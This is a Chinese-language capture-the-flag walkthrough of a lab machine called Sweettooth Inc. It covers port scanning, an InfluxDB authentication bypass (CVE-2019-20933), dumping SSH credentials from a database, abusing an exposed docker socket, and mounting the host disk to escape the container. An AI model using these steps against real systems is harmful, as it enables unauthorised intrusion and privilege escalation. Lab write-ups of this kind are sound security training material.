Skip to main content

Sweettooth Inc.

端口扫描

root@ip-10-10-107-220:~/sweettoothinc# nmap -sTCV -p 111,2222,8086,37603 --min-rate 1000 10.10.176.212

Starting Nmap 7.60 ( https://nmap.org ) at 2023-09-28 02:27 BST
Nmap scan report for ip-10-10-176-212.eu-west-1.compute.internal (10.10.176.212)
Host is up (0.00024s latency).

PORT STATE SERVICE VERSION
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100024 1 37603/tcp status
|_ 100024 1 52370/udp status
2222/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u8 (protocol 2.0)
| ssh-hostkey:
| 1024 b0:ce:c9:21:65:89:94:52:76:48:ce:d8:c8:fc:d4:ec (DSA)
| 2048 7e:86:88:fe:42:4e:94:48:0a:aa:da:ab:34:61:3c:6e (RSA)
| 256 04:1c:82:f6:a6:74:53:c9:c4:6f:25:37:4c:bf:8b:a8 (ECDSA)
|_ 256 49:4b:dc:e6:04:07:b6:d5:ab:c0:b0:a3:42:8e:87:b5 (EdDSA)
8086/tcp open http InfluxDB http admin 1.3.0
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
37603/tcp open status 1 (RPC #100024)
MAC Address: 02:A9:31:C5:57:65 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.41 seconds

8086

在其上我发现其版本所在, 查找相关的漏洞我发现一个身份验证绕过漏洞 InfluxDB-Exploit-CVE-2019-20933 将其下载到本地我进行查看的时候我发现需要用户名, 但是按照其给出的默认用户名也不存在, 这时候我看了 wp 意识到可以查看一个 debug 页面, 从这里我得到了一个用户名并进行了利用

Untitled

Untitled

在其中进行搜索的时候我发现存在一个数据库名称叫 creds , 所以我进行了查看并从其中获取到一个 SSH 用户名和密码

[[email protected]/creds] $ SELECT * FROM ssh
{
"results": [
{
"series": [
{
"columns": [
"time",
"pw",
"user"
],
"name": "ssh",
"values": [
[
"2021-05-16T12:00:00Z",
7788764472,
"uzJk6Ry98d8C"
]
]
}
],
"statement_id": 0
}
]
}

获取到其信息之后我便进行了登陆

后渗透

uzJk6Ry98d8C (docker)

Untitled

在登陆之后我对环境进行了查看, 发现其是一个 docker 容器

uzJk6Ry98d8C(docker) —> root (docker)

查看容器的进程我发现一点奇怪的内容

Untitled

  1. 这条命令告诉了我对于 docker.sock 文件有权限进行操作, 这也就意味着我们是一种暗docker组用户
  2. 这条命令告诉我们将本地 8080 端口流量转发到 docker.sock 中,这不就是意味我们可以使用端口转发来实现 docker 命令

进行本地端口转发

Untitled

此时我们就可以按照 docker 提权的方式进行操作了, 我进行了一系列的信息收集操作

root@ip-10-10-107-220:~/sweettoothinc# docker -H tcp://127.0.0.1:1234 images
REPOSITORY TAG IMAGE ID CREATED SIZE
sweettoothinc latest 26a697c0d00f 2 years ago 359MB
influxdb 1.3.0 e1b5eda429c3 6 years ago 227MB
root@ip-10-10-107-220:~/sweettoothinc# docker -H tcp://127.0.0.1:1234 ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
ffe946afd3ce sweettoothinc:latest "/bin/bash -c 'chmod\u2026" About an hour ago Up About an hour 0.0.0.0:8086->8086/tcp, 0.0.0.0:2222->22/tcp sweettoothinc

本来我想的是挂载目录拿shell , 但是这两个镜像没法操作, 最后只能进行执行命令

Untitled

此时我们就获取到了容器的 Bash Shell

root(docker) —> root (physics)

我们在此获取到的 Shell , 发现有一个系统磁盘

root@ffe946afd3ce:/# fdisk -l

Disk /dev/xvda: 16 GiB, 17179869184 bytes, 33554432 sectors
Units: sectors of 1 * 512 = 512 bytes
Sector size (logical/physical): 512 bytes / 512 bytes
I/O size (minimum/optimal): 512 bytes / 512 bytes
Disklabel type: dos
Disk identifier: 0xa8257195

Device Boot Start End Sectors Size Id Type
/dev/xvda1 * 2048 32088063 32086016 15.3G 83 Linux
/dev/xvda2 32090110 33552383 1462274 714M 5 Extended
/dev/xvda5 32090112 33552383 1462272 714M 82 Linux swap / Solaris

所以我们可以将其挂载到本地进行操作

root@ffe946afd3ce:/# mkdir /mnt/mydisk
root@ffe946afd3ce:/# mount /dev/xvda1 /mnt/mydisk
root@ffe946afd3ce:/# cd /mnt/mydisk/
root@ffe946afd3ce:/mnt/mydisk# ls
bin boot dev etc home initrd.img initrd.img.old lib lib64 lost+found media mnt opt proc root run sbin srv sys tmp usr var vmlinuz vmlinuz.old